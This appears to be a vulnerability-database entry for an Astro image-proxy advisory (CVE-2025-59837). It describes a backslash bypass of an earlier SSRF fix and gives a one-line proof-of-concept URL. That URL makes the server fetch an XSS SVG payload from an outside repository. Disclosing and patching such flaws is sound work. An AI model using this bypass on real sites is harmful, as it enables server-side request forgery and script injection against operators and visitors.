Astro's bypass of image proxy domain validation leads to SSRF and potential XSS
### Summary This is a patch bypass of CVE-2025-58179 in commit [9ecf359](https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252). The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\`) - the endpoint still issues a server-side fetch. ### PoC [https://astro.build/_image?href=\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg](https://astro.build/_image?href=%5C%5Craw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg)
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2025-59837US | high7.2 | — | ||
Astro is a web framework that includes an image proxy. In versions 5.13.4 and later before 5.13.10, the image proxy domain validation can be bypassed by using backslashes in the hr… | ||||
references
External citations — patches, advisories, analysis.
- https://github.com/withastro/astroPACKAGE
- https://github.com/withastro/astro/commit/1e2499e8ea83ebfa233a18a7499e1ccf169e56f4WEB
- https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252WEB
- https://github.com/withastro/astro/security/advisories/GHSA-qcpr-679q-rhm2WEB
- https://nvd.nist.gov/vuln/detail/CVE-2025-59837ADVISORY
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